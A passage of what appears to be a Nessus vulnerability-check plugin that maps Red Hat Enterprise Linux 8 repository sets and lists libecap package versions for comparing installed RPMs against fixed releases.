(!get_kb_item('Host/RedHat/rpm-list')) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item('Host/cpu');\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif ('x86_64' >!< cpu && cpu !~ \"^i[3-6]86$\" && 's390' >!< cpu && 'aarch64' >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, 'Red Hat', cpu);\n\nrepositories = {\n 'enterprise_linux_8_appstream': [\n 'rhel-8-for-aarch64-appstream-debug-rpms',\n 'rhel-8-for-aarch64-appstream-rpms',\n 'rhel-8-for-aarch64-appstream-source-rpms',\n 'rhel-8-for-s390x-appstream-debug-rpms',\n 'rhel-8-for-s390x-appstream-rpms',\n 'rhel-8-for-s390x-appstream-source-rpms',\n 'rhel-8-for-x86_64-appstream-debug-rpms',\n 'rhel-8-for-x86_64-appstream-rpms',\n 'rhel-8-for-x86_64-appstream-source-rpms'\n ],\n 'enterprise_linux_8_baseos': [\n 'rhel-8-for-aarch64-baseos-debug-rpms',\n 'rhel-8-for-aarch64-baseos-rpms',\n 'rhel-8-for-aarch64-baseos-source-rpms',\n 'rhel-8-for-s390x-baseos-debug-rpms',\n 'rhel-8-for-s390x-baseos-rpms',\n 'rhel-8-for-s390x-baseos-source-rpms',\n 'rhel-8-for-x86_64-baseos-debug-rpms',\n 'rhel-8-for-x86_64-baseos-rpms',\n 'rhel-8-for-x86_64-baseos-source-rpms'\n ],\n 'enterprise_linux_8_crb': [\n 'codeready-builder-for-rhel-8-aarch64-debug-rpms',\n 'codeready-builder-for-rhel-8-aarch64-eus-debug-rpms',\n 'codeready-builder-for-rhel-8-aarch64-eus-rpms',\n 'codeready-builder-for-rhel-8-aarch64-eus-source-rpms',\n 'codeready-builder-for-rhel-8-aarch64-rpms',\n 'codeready-builder-for-rhel-8-aarch64-source-rpms',\n 'codeready-builder-for-rhel-8-s390x-debug-rpms',\n 'codeready-builder-for-rhel-8-s390x-eus-debug-rpms',\n 'codeready-builder-for-rhel-8-s390x-eus-rpms',\n 'codeready-builder-for-rhel-8-s390x-eus-source-rpms',\n 'codeready-builder-for-rhel-8-s390x-rpms',\n 'codeready-builder-for-rhel-8-s390x-source-rpms',\n 'codeready-builder-for-rhel-8-x86_64-debug-rpms',\n 'codeready-builder-for-rhel-8-x86_64-eus-debug-rpms',\n 'codeready-builder-for-rhel-8-x86_64-eus-rpms',\n 'codeready-builder-for-rhel-8-x86_64-eus-source-rpms',\n 'codeready-builder-for-rhel-8-x86_64-rpms',\n 'codeready-builder-for-rhel-8-x86_64-source-rpms'\n ],\n 'enterprise_linux_8_highavailability': [\n 'rhel-8-for-aarch64-highavailability-debug-rpms',\n 'rhel-8-for-aarch64-highavailability-eus-debug-rpms',\n 'rhel-8-for-aarch64-highavailability-eus-rpms',\n 'rhel-8-for-aarch64-highavailability-eus-source-rpms',\n 'rhel-8-for-aarch64-highavailability-rpms',\n 'rhel-8-for-aarch64-highavailability-source-rpms',\n 'rhel-8-for-s390x-highavailability-debug-rpms',\n 'rhel-8-for-s390x-highavailability-eus-debug-rpms',\n 'rhel-8-for-s390x-highavailability-eus-rpms',\n 'rhel-8-for-s390x-highavailability-eus-source-rpms',\n 'rhel-8-for-s390x-highavailability-rpms',\n 'rhel-8-for-s390x-highavailability-source-rpms',\n 'rhel-8-for-x86_64-highavailability-debug-rpms',\n 'rhel-8-for-x86_64-highavailability-e4s-debug-rpms',\n 'rhel-8-for-x86_64-highavailability-e4s-rpms',\n 'rhel-8-for-x86_64-highavailability-e4s-source-rpms',\n 'rhel-8-for-x86_64-highavailability-eus-debug-rpms',\n 'rhel-8-for-x86_64-highavailability-eus-rpms',\n 'rhel-8-for-x86_64-highavailability-eus-source-rpms',\n 'rhel-8-for-x86_64-highavailability-rpms',\n 'rhel-8-for-x86_64-highavailability-source-rpms',\n 'rhel-8-for-x86_64-highavailability-tus-debug-rpms',\n 'rhel-8-for-x86_64-highavailability-tus-rpms',\n 'rhel-8-for-x86_64-highavailability-tus-source-rpms'\n ],\n 'enterprise_linux_8_nfv': [\n 'rhel-8-for-x86_64-nfv-debug-rpms',\n 'rhel-8-for-x86_64-nfv-rpms',\n 'rhel-8-for-x86_64-nfv-source-rpms',\n 'rhel-8-for-x86_64-nfv-tus-debug-rpms',\n 'rhel-8-for-x86_64-nfv-tus-rpms',\n 'rhel-8-for-x86_64-nfv-tus-source-rpms'\n ],\n 'enterprise_linux_8_realtime': [\n 'rhel-8-for-x86_64-rt-debug-rpms',\n 'rhel-8-for-x86_64-rt-rpms',\n 'rhel-8-for-x86_64-rt-source-rpms',\n 'rhel-8-for-x86_64-rt-tus-debug-rpms',\n 'rhel-8-for-x86_64-rt-tus-rpms',\n 'rhel-8-for-x86_64-rt-tus-source-rpms'\n ],\n 'enterprise_linux_8_resilientstorage': [\n 'rhel-8-for-s390x-resilientstorage-debug-rpms',\n 'rhel-8-for-s390x-resilientstorage-eus-debug-rpms',\n 'rhel-8-for-s390x-resilientstorage-eus-rpms',\n 'rhel-8-for-s390x-resilientstorage-eus-source-rpms',\n 'rhel-8-for-s390x-resilientstorage-rpms',\n 'rhel-8-for-s390x-resilientstorage-source-rpms',\n 'rhel-8-for-x86_64-resilientstorage-debug-rpms',\n 'rhel-8-for-x86_64-resilientstorage-eus-debug-rpms',\n 'rhel-8-for-x86_64-resilientstorage-eus-rpms',\n 'rhel-8-for-x86_64-resilientstorage-eus-source-rpms',\n 'rhel-8-for-x86_64-resilientstorage-rpms',\n 'rhel-8-for-x86_64-resilientstorage-source-rpms'\n ],\n 'enterprise_linux_8_sap': [\n 'rhel-8-for-s390x-sap-netweaver-debug-rpms',\n 'rhel-8-for-s390x-sap-netweaver-eus-debug-rpms',\n 'rhel-8-for-s390x-sap-netweaver-eus-rpms',\n 'rhel-8-for-s390x-sap-netweaver-eus-source-rpms',\n 'rhel-8-for-s390x-sap-netweaver-rpms',\n 'rhel-8-for-s390x-sap-netweaver-source-rpms',\n 'rhel-8-for-x86_64-sap-netweaver-debug-rpms',\n 'rhel-8-for-x86_64-sap-netweaver-e4s-debug-rpms',\n 'rhel-8-for-x86_64-sap-netweaver-e4s-rpms',\n 'rhel-8-for-x86_64-sap-netweaver-e4s-source-rpms',\n 'rhel-8-for-x86_64-sap-netweaver-eus-debug-rpms',\n 'rhel-8-for-x86_64-sap-netweaver-eus-rpms',\n 'rhel-8-for-x86_64-sap-netweaver-eus-source-rpms',\n 'rhel-8-for-x86_64-sap-netweaver-rpms',\n 'rhel-8-for-x86_64-sap-netweaver-source-rpms'\n ],\n 'enterprise_linux_8_sap_hana': [\n 'rhel-8-for-x86_64-sap-solutions-debug-rpms',\n 'rhel-8-for-x86_64-sap-solutions-e4s-debug-rpms',\n 'rhel-8-for-x86_64-sap-solutions-e4s-rpms',\n 'rhel-8-for-x86_64-sap-solutions-e4s-source-rpms',\n 'rhel-8-for-x86_64-sap-solutions-eus-debug-rpms',\n 'rhel-8-for-x86_64-sap-solutions-eus-rpms',\n 'rhel-8-for-x86_64-sap-solutions-eus-source-rpms',\n 'rhel-8-for-x86_64-sap-solutions-rpms',\n 'rhel-8-for-x86_64-sap-solutions-source-rpms'\n ],\n 'enterprise_linux_8_supplementary': [\n 'rhel-8-for-aarch64-supplementary-eus-rpms',\n 'rhel-8-for-aarch64-supplementary-eus-source-rpms',\n 'rhel-8-for-aarch64-supplementary-rpms',\n 'rhel-8-for-aarch64-supplementary-source-rpms',\n 'rhel-8-for-s390x-supplementary-eus-rpms',\n 'rhel-8-for-s390x-supplementary-eus-source-rpms',\n 'rhel-8-for-s390x-supplementary-rpms',\n 'rhel-8-for-s390x-supplementary-source-rpms',\n 'rhel-8-for-x86_64-supplementary-eus-rpms',\n 'rhel-8-for-x86_64-supplementary-eus-source-rpms',\n 'rhel-8-for-x86_64-supplementary-rpms',\n 'rhel-8-for-x86_64-supplementary-source-rpms'\n ],\n 'rhel_aus_8_4_appstream': [\n 'rhel-8-for-x86_64-appstream-aus-debug-rpms',\n 'rhel-8-for-x86_64-appstream-aus-debug-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-appstream-aus-rpms',\n 'rhel-8-for-x86_64-appstream-aus-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-appstream-aus-source-rpms',\n 'rhel-8-for-x86_64-appstream-aus-source-rpms__8_DOT_4'\n ],\n 'rhel_aus_8_4_baseos': [\n 'rhel-8-for-x86_64-baseos-aus-debug-rpms',\n 'rhel-8-for-x86_64-baseos-aus-debug-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-baseos-aus-rpms',\n 'rhel-8-for-x86_64-baseos-aus-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-baseos-aus-source-rpms',\n 'rhel-8-for-x86_64-baseos-aus-source-rpms__8_DOT_4'\n ],\n 'rhel_e4s_8_4_appstream': [\n 'rhel-8-for-x86_64-appstream-e4s-debug-rpms',\n 'rhel-8-for-x86_64-appstream-e4s-debug-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-appstream-e4s-rpms',\n 'rhel-8-for-x86_64-appstream-e4s-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-appstream-e4s-source-rpms',\n 'rhel-8-for-x86_64-appstream-e4s-source-rpms__8_DOT_4'\n ],\n 'rhel_e4s_8_4_baseos': [\n 'rhel-8-for-x86_64-baseos-e4s-debug-rpms',\n 'rhel-8-for-x86_64-baseos-e4s-debug-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-baseos-e4s-rpms',\n 'rhel-8-for-x86_64-baseos-e4s-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-baseos-e4s-source-rpms',\n 'rhel-8-for-x86_64-baseos-e4s-source-rpms__8_DOT_4'\n ],\n 'rhel_e4s_8_4_highavailability': [\n 'rhel-8-for-x86_64-highavailability-e4s-debug-rpms',\n 'rhel-8-for-x86_64-highavailability-e4s-debug-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-highavailability-e4s-rpms',\n 'rhel-8-for-x86_64-highavailability-e4s-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-highavailability-e4s-source-rpms',\n 'rhel-8-for-x86_64-highavailability-e4s-source-rpms__8_DOT_4'\n ],\n 'rhel_e4s_8_4_sap': [\n 'rhel-8-for-x86_64-sap-netweaver-e4s-debug-rpms',\n 'rhel-8-for-x86_64-sap-netweaver-e4s-debug-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-sap-netweaver-e4s-rpms',\n 'rhel-8-for-x86_64-sap-netweaver-e4s-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-sap-netweaver-e4s-source-rpms',\n 'rhel-8-for-x86_64-sap-netweaver-e4s-source-rpms__8_DOT_4'\n ],\n 'rhel_e4s_8_4_sap_hana': [\n 'rhel-8-for-x86_64-sap-solutions-e4s-debug-rpms',\n 'rhel-8-for-x86_64-sap-solutions-e4s-debug-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-sap-solutions-e4s-rpms',\n 'rhel-8-for-x86_64-sap-solutions-e4s-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-sap-solutions-e4s-source-rpms',\n 'rhel-8-for-x86_64-sap-solutions-e4s-source-rpms__8_DOT_4'\n ],\n 'rhel_eus_8_4_appstream': [\n 'rhel-8-for-aarch64-appstream-eus-debug-rpms',\n 'rhel-8-for-aarch64-appstream-eus-debug-rpms__8_DOT_4',\n 'rhel-8-for-aarch64-appstream-eus-rpms',\n 'rhel-8-for-aarch64-appstream-eus-rpms__8_DOT_4',\n 'rhel-8-for-aarch64-appstream-eus-source-rpms',\n 'rhel-8-for-aarch64-appstream-eus-source-rpms__8_DOT_4',\n 'rhel-8-for-s390x-appstream-eus-debug-rpms',\n 'rhel-8-for-s390x-appstream-eus-debug-rpms__8_DOT_4',\n 'rhel-8-for-s390x-appstream-eus-rpms',\n 'rhel-8-for-s390x-appstream-eus-rpms__8_DOT_4',\n 'rhel-8-for-s390x-appstream-eus-source-rpms',\n 'rhel-8-for-s390x-appstream-eus-source-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-appstream-aus-debug-rpms',\n 'rhel-8-for-x86_64-appstream-aus-rpms',\n 'rhel-8-for-x86_64-appstream-aus-source-rpms',\n 'rhel-8-for-x86_64-appstream-e4s-debug-rpms',\n 'rhel-8-for-x86_64-appstream-e4s-rpms',\n 'rhel-8-for-x86_64-appstream-e4s-source-rpms',\n 'rhel-8-for-x86_64-appstream-eus-debug-rpms',\n 'rhel-8-for-x86_64-appstream-eus-debug-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-appstream-eus-rpms',\n 'rhel-8-for-x86_64-appstream-eus-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-appstream-eus-source-rpms',\n 'rhel-8-for-x86_64-appstream-eus-source-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-appstream-tus-debug-rpms',\n 'rhel-8-for-x86_64-appstream-tus-rpms',\n 'rhel-8-for-x86_64-appstream-tus-source-rpms'\n ],\n 'rhel_eus_8_4_baseos': [\n 'rhel-8-for-aarch64-baseos-eus-debug-rpms',\n 'rhel-8-for-aarch64-baseos-eus-debug-rpms__8_DOT_4',\n 'rhel-8-for-aarch64-baseos-eus-rpms',\n 'rhel-8-for-aarch64-baseos-eus-rpms__8_DOT_4',\n 'rhel-8-for-aarch64-baseos-eus-source-rpms',\n 'rhel-8-for-aarch64-baseos-eus-source-rpms__8_DOT_4',\n 'rhel-8-for-s390x-baseos-eus-debug-rpms',\n 'rhel-8-for-s390x-baseos-eus-debug-rpms__8_DOT_4',\n 'rhel-8-for-s390x-baseos-eus-rpms',\n 'rhel-8-for-s390x-baseos-eus-rpms__8_DOT_4',\n 'rhel-8-for-s390x-baseos-eus-source-rpms',\n 'rhel-8-for-s390x-baseos-eus-source-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-baseos-aus-debug-rpms',\n 'rhel-8-for-x86_64-baseos-aus-rpms',\n 'rhel-8-for-x86_64-baseos-aus-source-rpms',\n 'rhel-8-for-x86_64-baseos-e4s-debug-rpms',\n 'rhel-8-for-x86_64-baseos-e4s-rpms',\n 'rhel-8-for-x86_64-baseos-e4s-source-rpms',\n 'rhel-8-for-x86_64-baseos-eus-debug-rpms',\n 'rhel-8-for-x86_64-baseos-eus-debug-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-baseos-eus-rpms',\n 'rhel-8-for-x86_64-baseos-eus-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-baseos-eus-source-rpms',\n 'rhel-8-for-x86_64-baseos-eus-source-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-baseos-tus-debug-rpms',\n 'rhel-8-for-x86_64-baseos-tus-rpms',\n 'rhel-8-for-x86_64-baseos-tus-source-rpms'\n ],\n 'rhel_eus_8_4_crb': [\n 'codeready-builder-for-rhel-8-aarch64-eus-debug-rpms',\n 'codeready-builder-for-rhel-8-aarch64-eus-debug-rpms__8_DOT_4',\n 'codeready-builder-for-rhel-8-aarch64-eus-rpms',\n 'codeready-builder-for-rhel-8-aarch64-eus-rpms__8_DOT_4',\n 'codeready-builder-for-rhel-8-aarch64-eus-source-rpms',\n 'codeready-builder-for-rhel-8-aarch64-eus-source-rpms__8_DOT_4',\n 'codeready-builder-for-rhel-8-s390x-eus-debug-rpms',\n 'codeready-builder-for-rhel-8-s390x-eus-debug-rpms__8_DOT_4',\n 'codeready-builder-for-rhel-8-s390x-eus-rpms',\n 'codeready-builder-for-rhel-8-s390x-eus-rpms__8_DOT_4',\n 'codeready-builder-for-rhel-8-s390x-eus-source-rpms',\n 'codeready-builder-for-rhel-8-s390x-eus-source-rpms__8_DOT_4',\n 'codeready-builder-for-rhel-8-x86_64-eus-debug-rpms',\n 'codeready-builder-for-rhel-8-x86_64-eus-debug-rpms__8_DOT_4',\n 'codeready-builder-for-rhel-8-x86_64-eus-rpms',\n 'codeready-builder-for-rhel-8-x86_64-eus-rpms__8_DOT_4',\n 'codeready-builder-for-rhel-8-x86_64-eus-source-rpms',\n 'codeready-builder-for-rhel-8-x86_64-eus-source-rpms__8_DOT_4'\n ],\n 'rhel_eus_8_4_highavailability': [\n 'rhel-8-for-aarch64-highavailability-eus-debug-rpms',\n 'rhel-8-for-aarch64-highavailability-eus-debug-rpms__8_DOT_4',\n 'rhel-8-for-aarch64-highavailability-eus-rpms',\n 'rhel-8-for-aarch64-highavailability-eus-rpms__8_DOT_4',\n 'rhel-8-for-aarch64-highavailability-eus-source-rpms',\n 'rhel-8-for-aarch64-highavailability-eus-source-rpms__8_DOT_4',\n 'rhel-8-for-s390x-highavailability-eus-debug-rpms',\n 'rhel-8-for-s390x-highavailability-eus-debug-rpms__8_DOT_4',\n 'rhel-8-for-s390x-highavailability-eus-rpms',\n 'rhel-8-for-s390x-highavailability-eus-rpms__8_DOT_4',\n 'rhel-8-for-s390x-highavailability-eus-source-rpms',\n 'rhel-8-for-s390x-highavailability-eus-source-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-highavailability-e4s-debug-rpms',\n 'rhel-8-for-x86_64-highavailability-e4s-rpms',\n 'rhel-8-for-x86_64-highavailability-e4s-source-rpms',\n 'rhel-8-for-x86_64-highavailability-eus-debug-rpms',\n 'rhel-8-for-x86_64-highavailability-eus-debug-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-highavailability-eus-rpms',\n 'rhel-8-for-x86_64-highavailability-eus-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-highavailability-eus-source-rpms',\n 'rhel-8-for-x86_64-highavailability-eus-source-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-highavailability-tus-debug-rpms',\n 'rhel-8-for-x86_64-highavailability-tus-rpms',\n 'rhel-8-for-x86_64-highavailability-tus-source-rpms'\n ],\n 'rhel_eus_8_4_resilientstorage': [\n 'rhel-8-for-s390x-resilientstorage-eus-debug-rpms',\n 'rhel-8-for-s390x-resilientstorage-eus-debug-rpms__8_DOT_4',\n 'rhel-8-for-s390x-resilientstorage-eus-rpms',\n 'rhel-8-for-s390x-resilientstorage-eus-rpms__8_DOT_4',\n 'rhel-8-for-s390x-resilientstorage-eus-source-rpms',\n 'rhel-8-for-s390x-resilientstorage-eus-source-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-resilientstorage-eus-debug-rpms',\n 'rhel-8-for-x86_64-resilientstorage-eus-debug-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-resilientstorage-eus-rpms',\n 'rhel-8-for-x86_64-resilientstorage-eus-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-resilientstorage-eus-source-rpms',\n 'rhel-8-for-x86_64-resilientstorage-eus-source-rpms__8_DOT_4'\n ],\n 'rhel_eus_8_4_sap': [\n 'rhel-8-for-s390x-sap-netweaver-eus-debug-rpms',\n 'rhel-8-for-s390x-sap-netweaver-eus-debug-rpms__8_DOT_4',\n 'rhel-8-for-s390x-sap-netweaver-eus-rpms',\n 'rhel-8-for-s390x-sap-netweaver-eus-rpms__8_DOT_4',\n 'rhel-8-for-s390x-sap-netweaver-eus-source-rpms',\n 'rhel-8-for-s390x-sap-netweaver-eus-source-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-sap-netweaver-e4s-debug-rpms',\n 'rhel-8-for-x86_64-sap-netweaver-e4s-rpms',\n 'rhel-8-for-x86_64-sap-netweaver-e4s-source-rpms',\n 'rhel-8-for-x86_64-sap-netweaver-eus-debug-rpms',\n 'rhel-8-for-x86_64-sap-netweaver-eus-debug-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-sap-netweaver-eus-rpms',\n 'rhel-8-for-x86_64-sap-netweaver-eus-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-sap-netweaver-eus-source-rpms',\n 'rhel-8-for-x86_64-sap-netweaver-eus-source-rpms__8_DOT_4'\n ],\n 'rhel_eus_8_4_sap_hana': [\n 'rhel-8-for-x86_64-sap-solutions-e4s-debug-rpms',\n 'rhel-8-for-x86_64-sap-solutions-e4s-rpms',\n 'rhel-8-for-x86_64-sap-solutions-e4s-source-rpms',\n 'rhel-8-for-x86_64-sap-solutions-eus-debug-rpms',\n 'rhel-8-for-x86_64-sap-solutions-eus-debug-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-sap-solutions-eus-rpms',\n 'rhel-8-for-x86_64-sap-solutions-eus-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-sap-solutions-eus-source-rpms',\n 'rhel-8-for-x86_64-sap-solutions-eus-source-rpms__8_DOT_4'\n ],\n 'rhel_eus_8_4_supplementary': [\n 'rhel-8-for-aarch64-supplementary-eus-rpms',\n 'rhel-8-for-aarch64-supplementary-eus-rpms__8_DOT_4',\n 'rhel-8-for-aarch64-supplementary-eus-source-rpms',\n 'rhel-8-for-aarch64-supplementary-eus-source-rpms__8_DOT_4',\n 'rhel-8-for-s390x-supplementary-eus-rpms',\n 'rhel-8-for-s390x-supplementary-eus-rpms__8_DOT_4',\n 'rhel-8-for-s390x-supplementary-eus-source-rpms',\n 'rhel-8-for-s390x-supplementary-eus-source-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-supplementary-eus-rpms',\n 'rhel-8-for-x86_64-supplementary-eus-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-supplementary-eus-source-rpms',\n 'rhel-8-for-x86_64-supplementary-eus-source-rpms__8_DOT_4'\n ],\n 'rhel_extras_nfv_8': [\n 'rhel-8-for-x86_64-nfv-debug-rpms',\n 'rhel-8-for-x86_64-nfv-rpms',\n 'rhel-8-for-x86_64-nfv-source-rpms',\n 'rhel-8-for-x86_64-nfv-tus-debug-rpms',\n 'rhel-8-for-x86_64-nfv-tus-rpms',\n 'rhel-8-for-x86_64-nfv-tus-source-rpms'\n ],\n 'rhel_extras_rt_8': [\n 'rhel-8-for-x86_64-nfv-debug-rpms',\n 'rhel-8-for-x86_64-nfv-rpms',\n 'rhel-8-for-x86_64-nfv-source-rpms',\n 'rhel-8-for-x86_64-rt-debug-rpms',\n 'rhel-8-for-x86_64-rt-rpms',\n 'rhel-8-for-x86_64-rt-source-rpms',\n 'rhel-8-for-x86_64-rt-tus-debug-rpms',\n 'rhel-8-for-x86_64-rt-tus-rpms',\n 'rhel-8-for-x86_64-rt-tus-source-rpms'\n ],\n 'rhel_tus_8_4_appstream': [\n 'rhel-8-for-x86_64-appstream-tus-debug-rpms',\n 'rhel-8-for-x86_64-appstream-tus-debug-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-appstream-tus-rpms',\n 'rhel-8-for-x86_64-appstream-tus-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-appstream-tus-source-rpms',\n 'rhel-8-for-x86_64-appstream-tus-source-rpms__8_DOT_4'\n ],\n 'rhel_tus_8_4_baseos': [\n 'rhel-8-for-x86_64-baseos-tus-debug-rpms',\n 'rhel-8-for-x86_64-baseos-tus-debug-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-baseos-tus-rpms',\n 'rhel-8-for-x86_64-baseos-tus-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-baseos-tus-source-rpms',\n 'rhel-8-for-x86_64-baseos-tus-source-rpms__8_DOT_4'\n ],\n 'rhel_tus_8_4_highavailability': [\n 'rhel-8-for-x86_64-highavailability-tus-debug-rpms',\n 'rhel-8-for-x86_64-highavailability-tus-debug-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-highavailability-tus-rpms',\n 'rhel-8-for-x86_64-highavailability-tus-rpms__8_DOT_4',\n 'rhel-8-for-x86_64-highavailability-tus-source-rpms',\n 'rhel-8-for-x86_64-highavailability-tus-source-rpms__8_DOT_4'\n ]\n};\n\nrepo_sets = rhel_get_valid_repo_sets(repositories:repositories);\nenterprise_linux_flag = rhel_repo_sets_has_enterprise_linux(repo_sets:repo_sets);\nif(repo_sets == RHEL_REPOS_NO_OVERLAP_MESSAGE) audit(AUDIT_PACKAGE_LIST_MISSING, RHEL_REPO_AUDIT_PACKAGE_LIST_DETAILS);\n\npkgs = [\n {'reference':'libecap-1.0.1-2.module+el8.1.0+4044+36416a77', 'sp':'4', 'cpu':'aarch64', 'release':'8', 'el_string':'el8.1.0', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'enterprise_linux_8_baseos', 'enterprise_linux_8_crb', 'enterprise_linux_8_highavailability', 'enterprise_linux_8_nfv', 'enterprise_linux_8_realtime', 'enterprise_linux_8_resilientstorage', 'enterprise_linux_8_sap', 'enterprise_linux_8_sap_hana', 'enterprise_linux_8_supplementary', 'rhel_aus_8_4_appstream', 'rhel_aus_8_4_baseos', 'rhel_e4s_8_4_appstream', 'rhel_e4s_8_4_baseos', 'rhel_e4s_8_4_highavailability', 'rhel_e4s_8_4_sap', 'rhel_e4s_8_4_sap_hana', 'rhel_eus_8_4_appstream', 'rhel_eus_8_4_baseos', 'rhel_eus_8_4_crb', 'rhel_eus_8_4_highavailability', 'rhel_eus_8_4_resilientstorage', 'rhel_eus_8_4_sap', 'rhel_eus_8_4_sap_hana', 'rhel_eus_8_4_supplementary', 'rhel_extras_nfv_8', 'rhel_extras_rt_8', 'rhel_tus_8_4_appstream', 'rhel_tus_8_4_baseos', 'rhel_tus_8_4_highavailability']},\n {'reference':'libecap-1.0.1-2.module+el8.1.0+4044+36416a77', 'sp':'4', 'cpu':'s390x', 'release':'8', 'el_string':'el8.1.0', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'enterprise_linux_8_baseos', 'enterprise_linux_8_crb', 'enterprise_linux_8_highavailability', 'enterprise_linux_8_nfv', 'enterprise_linux_8_realtime', 'enterprise_linux_8_resilientstorage', 'enterprise_linux_8_sap', 'enterprise_linux_8_sap_hana', 'enterprise_linux_8_supplementary', 'rhel_aus_8_4_appstream', 'rhel_aus_8_4_baseos', 'rhel_e4s_8_4_appstream', 'rhel_e4s_8_4_baseos', 'rhel_e4s_8_4_highavailability', 'rhel_e4s_8_4_sap', 'rhel_e4s_8_4_sap_hana', 'rhel_eus_8_4_appstream', 'rhel_eus_8_4_baseos', 'rhel_eus_8_4_crb', 'rhel_eus_8_4_highavailability', 'rhel_eus_8_4_resilientstorage', 'rhel_eus_8_4_sap', 'rhel_eus_8_4_sap_hana', 'rhel_eus_8_4_supplementary', 'rhel_extras_nfv_8', 'rhel_extras_rt_8', 'rhel_tus_8_4_appstream', 'rhel_tus_8_4_baseos', 'rhel_tus_8_4_highavailability']},\n {'reference':'libecap-1.0.1-2.module+el8.1.0+4044+36416a77', 'sp':'4', 'cpu':'x86_64', 'release':'8', 'el_string':'el8.1.0', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'enterprise_linux_8_baseos', 'enterprise_linux_8_crb', 'enterprise_linux_8_highavailability', 'enterprise_linux_8_nfv', 'enterprise_linux_8_realtime', 'enterprise_linux_8_resilientstorage', 'enterprise_linux_8_sap', 'enterprise_linux_8_sap_hana', 'enterprise_linux_8_supplementary', 'rhel_aus_8_4_appstream', 'rhel_aus_8_4_baseos', 'rhel_e4s_8_4_appstream', 'rhel_e4s_8_4_baseos', 'rhel_e4s_8_4_highavailability', 'rhel_e4s_8_4_sap', 'rhel_e4s_8_4_sap_hana', 'rhel_eus_8_4_appstream', 'rhel_eus_8_4_baseos', 'rhel_eus_8_4_crb', 'rhel_eus_8_4_highavailability', 'rhel_eus_8_4_resilientstorage', 'rhel_eus_8_4_sap', 'rhel_eus_8_4_sap_hana', 'rhel_eus_8_4_supplementary', 'rhel_extras_nfv_8', 'rhel_extras_rt_8', 'rhel_tus_8_4_appstream', 'rhel_tus_8_4_baseos', 'rhel_tus_8_4_highavailability']},\n {'reference':'libecap-devel-1.0.1-2.module+el8.1.0+4044+36416a77', 'sp':'4', 'cpu':'aarch64', 'release':'8', 'el_string':'el8.1.0', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'enterprise_linux_8_baseos', 'enterprise_linux_8_crb', 'enterprise_linux_8_highavailability', 'enterprise_linux_8_nfv', 'enterprise_linux_8_realtime', 'enterprise_linux_8_resilientstorage', 'enterprise_linux_8_sap', 'enterprise_linux_8_sap_hana', 'enterprise_linux_8_supplementary', 'rhel_aus_8_4_appstream', 'rhel_aus_8_4_baseos', 'rhel_e4s_8_4_appstream', 'rhel_e4s_8_4_baseos', 'rhel_e4s_8_4_highavailability', 'rhel_e4s_8_4_sap', 'rhel_e4s_8_4_sap_hana', 'rhel_eus_8_4_appstream', 'rhel_eus_8_4_baseos', 'rhel_eus_8_4_crb', 'rhel_eus_8_4_highavailability', 'rhel_eus_8_4_resilientstorage', 'rhel_eus_8_4_sap', 'rhel_eus_8_4_sap_hana', 'rhel_eus_8_4_supplementary', 'rhel_extras_nfv_8', 'rhel_extras_rt_8', 'rhel_tus_8_4_appstream', 'rhel_tus_8_4_baseos', 'rhel_tus_8_4_highavailability']},\n {'reference':'libecap-devel-1.0.1-2.module+el8.1.0+4044+36416a77', 'sp':'4', 'cpu':'s390x', 'release':'8', 'el_string':'el8.1.0', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'enterprise_linux_8_baseos', 'enterprise_linux_8_crb', 'enterprise_linux_8_highavailability', 'enterprise_linux_8_nfv', 'enterprise_linux_8_realtime', 'enterprise_linux_8_resilientstorage', 'enterprise_linux_8_sap', 'enterprise_linux_8_sap_hana', 'enterprise_linux_8_supplementary', 'rhel_aus_8_4_appstream', 'rhel_aus_8_4_baseos', 'rhel_e4s_8_4_appstream', 'rhel_e4s_8_4_baseos', 'rhel_e4s_8_4_highavailability', 'rhel_e4s_8_4_sap', 'rhel_e4s_8_4_sap_hana', 'rhel_eus_8_4_appstream', 